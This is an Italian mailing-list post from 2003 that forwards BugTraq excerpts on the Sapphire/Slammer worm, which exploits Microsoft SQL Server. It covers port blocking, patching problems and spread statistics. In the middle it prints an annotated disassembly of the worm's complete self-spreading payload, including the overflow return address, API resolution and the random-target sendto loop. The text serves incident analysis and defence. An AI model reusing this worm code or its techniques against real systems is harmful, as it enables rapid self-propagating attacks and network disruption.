Re: SQHELL e tg2

  • From: Bit-Jockey <bitjockey@xxxxxxxxx>
  • To: lano666@xxxxxxxxxxxxx
  • Date: Wed, 5 Feb 2003 16:57:18 +0000

Alle 14:35, mercoledì 5 febbraio 2003, ho farneticato ;-) :

> Appena scarico tutta la posta (c vorrà un po') vi posto la mail da BugTraq

Lo Sapphire/slammer/sqhell sfrutta un vecchio bug dell' MSDE (Microsoft SQL 
Desktop Engine).

Il worm ha generato 30 o 40 e-mail su bugtraq.... vi posto un po' di pezzi più 
interessanti (La mail originale portava il titolo "MS SQL WORM IS DESTROYING 
INTERNET BLOCK PORT 1434!")

A quanto pare ci sono osservazioni molto discordi riguardo il fatto che il 
traffico generato dal worm fosse tale (in quantità) da provocare 
problemi...mi pare che qualche sistema abbia avuto problemi, ma la stragrande 
maggioranza no.

leggete almeno l'ultimo paragrafo che parla delle statistiche..
**FINE DI QUELLO CHE HO SCRITTO IO


Lucky for us we block all MS-SQL 1434/udp traffic.  We have logged over 
130,000 firewall blocked connections across 15 odd sites, and it's comming in 
from all over the world.


But, here is the funny thing, we had a MS-Project Server 2002 installed 
on a test machine with MSDE running. There is no service pack 3 for MSDE 
2000 yet, but there is a hotfix to solve the problem.
That hotfix requires service pack 2. When we tried to install service 
pack 2 for MSDE, it gave an error. On the Microsoft web site, it says 
that SOME! of the MSDE installations require the service pack 2 to be 
installed only from an update CD but not from the Internet.
I think it's going to be a while for all the networks to install these 
patches properly to stop these attack.
Meanwhile I also recommend the sys admins to block the outgoing 
1434TCP/UDP as well. Incoming blocking might protect some of your servers 
but if you are already effected, at least try to contain this in your LAN 
by blocking the outgoing ports.



A worm which exploits a (new?) vulnerability in SQL Server is bringing
 the core routers to a grinding halt. The speed of the propagation can be
 attributed to the attack method and simplicity of the code. The worm
 sends a 376-byte UDP packet to port 1434 of each random target, each
 vulnerable system will immediately start propagating itself. Since UDP
 is connection-less, the worm is able to spread much more quickly than
 those using your standard TCP-based attack vectors (no connect
 timeouts).
Some random screen shots, a copy of the worm as a perl script, and a
disassembly (sorry, no comments) can be found online at:
http://www.digitaloffense.net/worms/mssql_udp_worm/


however, i have disassembled the code inside; all it does is send
itself to pseudorandomly generated hosts.
there is an annotated disassembly at 
http://www.boredom.org/~cstone/worm-annotated.txt

The worm is spreading using a buffer overflow to exploit a flaw in Microsoft
SQL Server 2000. The SQL 2000 server flaw was  discovered in July, 2002 by
Next Generation Security Software Ltd. The buffer overflow exists because of
the way SQL  improperly handles data sent to its Microsoft SQL Monitor port.
Attackers leveraging this vulnerability will be executing  their code as
SYSTEM, since Microsoft SQL Server 2000 runs with SYSTEM privileges.
The worm works by generating pseudo-random IP addresses to try to infect
with its payload. The worm payload does not contain  any additional
malicious content (in the form of backdoors etc.); however, because of the
nature of the worm and the speed at  which it attempts to re-infect systems,
it can potentially create a denial-of-service attack against infected
networks.

Once again this worm is taking advantage of a known vulnerability that has
had a patch available for many months. Microsoft  has also released a recent
service pack for SQL (Service Pack 3) that includes a fix for this
vulnerability.

Technical Description

The following is a quick run-down of what the worm's payload is doing after
infection:
1. Retrieves the address of GetProcAddress and Loadlibrary from the IAT in
sqlsort.dll. It snags the necessary library base  addresses and function
entry points as needed.
2. Calls gettickcount, and uses returned count as a pseudo-random seed
3. Creates a UDP socket
4. Performs a simple pseudo random number generation formula using the
returned gettickcount value to generate an IP Address  that will later be
used as the target.
5. Send worm payload in a SQL Server Resolution Service request to the
pseudo random target address, on port 1434 (UDP).
6. Return back to formula and continue generating new pseudo random
addresses.


                push    42B0C9DCh       ; [RET] sqlsort.dll -> jmp esp
                mov     eax, 1010101h   ; Reconstruct session, after the
overflow the payload buffer
                                        ; get's corrupted during program
execution but before the
                                        ; payload is executed. .
                xor     ecx, ecx
                mov     cl, 18h

FIXUP:
                push    eax
                loop    FIXUP
                xor     eax, 5010101h
                push    eax
                mov     ebp, esp
                push    ecx
                push    6C6C642Eh
                push    32336C65h
                push    6E72656Bh       ; kernel32
                push    ecx
                push    746E756Fh       ; GetTickCount
                push    436B6369h
                push    54746547h
                mov     cx, 6C6Ch
                push    ecx
                push    642E3233h       ; ws2_32.dll
                push    5F327377h
                mov     cx, 7465h
                push    ecx
                push    6B636F73h       ; socket
                mov     cx, 6F74h
                push    ecx
                push    646E6573h       ; sendto
                mov     esi, 42AE1018h  ; IAT from sqlsort
                lea     eax, [ebp-2Ch]  ; (ws2_32.dll)
                push    eax
                call    dword ptr [esi] ; call loadlibrary
                push    eax
                lea     eax, [ebp-20h]
                push    eax
                lea     eax, [ebp-10h]  ; (kernel32.dll)
                push    eax
                call    dword ptr [esi] ; loadlibrary
                push    eax
                mov     esi, 42AE1010h  ; IAT from sqlsort
                mov     ebx, [esi]
                mov     eax, [ebx]
                cmp     eax, 51EC8B55h  ; check entry point fingerprint
                jz      short VALID_GP  ; Check entry point fingerprint for
getprocaddress, if it failes
                                        ; fall back to GetProcAddress entry
in another DLL version.
                                        ; Undetermined what dll versions
this will succedd on. Due
                                        ; to the lack of reliable importing
this may not work across all
                                        ; dll versions.
                mov     esi, 42AE101Ch  ; IAT entry -> 77EA094C

VALID_GP:
                call    dword ptr [esi] ; GetProcAddress
                call    eax             ; return from GetProcaddress =
GetTickCount entrypoint
                xor     ecx, ecx
                push    ecx
                push    ecx
                push    eax
                xor     ecx, 9B040103h
                xor     ecx, 1010101h
                push    ecx             ; 9A050002 = port 1434 / AF_INET
                lea     eax, [ebp-34h]  ; (socket)
                push    eax
                mov     eax, [ebp-40h]  ; ws2_32 base address
                push    eax
                call    dword ptr [esi] ; GetProcAddress
                push    11h
                push    2
                push    2
                call    eax             ; socket
                push    eax
                lea     eax, [ebp-3Ch]  ; sendto
                push    eax
                mov     eax, [ebp-40h]  ; ws2_32 base address
                push    eax
                call    dword ptr [esi] ; GetProcAddress
                mov     esi, eax        ; save sendto -> esi
                or      ebx, ebx
                xor     ebx, 0FFD9613Ch

PRND:
                mov     eax, [ebp-4Ch]  ; Pseudo Random Algorithm Start
                lea     ecx, [eax+eax*2]
                lea     edx, [eax+ecx*4]
                shl     edx, 4
                add     edx, eax
                shl     edx, 8
                sub     edx, eax
                lea     eax, [eax+edx*4]
                add     eax, ebx        ; Pseudo Random Algorithm End
                mov     [ebp-4Ch], eax
                push    10h
                lea     eax, [ebp-50h]
                push    eax
                xor     ecx, ecx
                push    ecx
                xor     cx, 178h
                push    ecx
                lea     eax, [ebp+3]
                push    eax
                mov     eax, [ebp-54h]
                push    eax
                call    esi             ; sendto
                jmp     short PRND    ; Jump back to Pseudo Random Algorithm
Start



I've completed an analysis of the 'Sapphire' SQL worm targeting MS-SQL
servers.  Some have reported massive slowdowns.  An interesting part of this
worm results from its use of UDP.  Attacked hosts/networks may generate ICMP
Host/Port Unreachable messages in response to a Sapphire attack, amplifying
the attack's strength.  One reason that this attack is worse for users of
home systems, etc. that don't run any servers, is because Sapphire sends the
entire 400 bytes or so in the initial packet, where scans from Code Red and
bretheren only prompted a 26 byte TCP SYN packet.


We have completed our preliminary analysis of the spread of the
Sapphire/Slammer SQL worm.  This worm required roughly 10 minutes to
spread worldwide making it by far the fastest worm to date.  In the
early stages the worm was doubling in size every 8.5 seconds.  At its
peak, achieved approximately 3 minutes after it was released, Sapphire
scanned the net at over 55 million IP addresses per second.  It
infected at least 75,000 victims and probably considerably more.
This remarkable speed, nearly two orders of magnitude faster than Code
Red, was the result of a bandwidth-limited scanner.  Since Sapphire
didn't need to wait for responses, each copy could scan at the maximum
rate that the processor and network bandwidth could support.
There were also two noteworthy bugs in the pseudo-random number
generator which complicated our analysis and limited our ability to
estimate the total infection but did not slow the spread of the worm.


-- 
                                  Bit-Jockey
                                "Art is Heart" 
Fortune:
The Army needs leaders the way a foot needs a big toe.
                -- Bill Murray



Other related posts: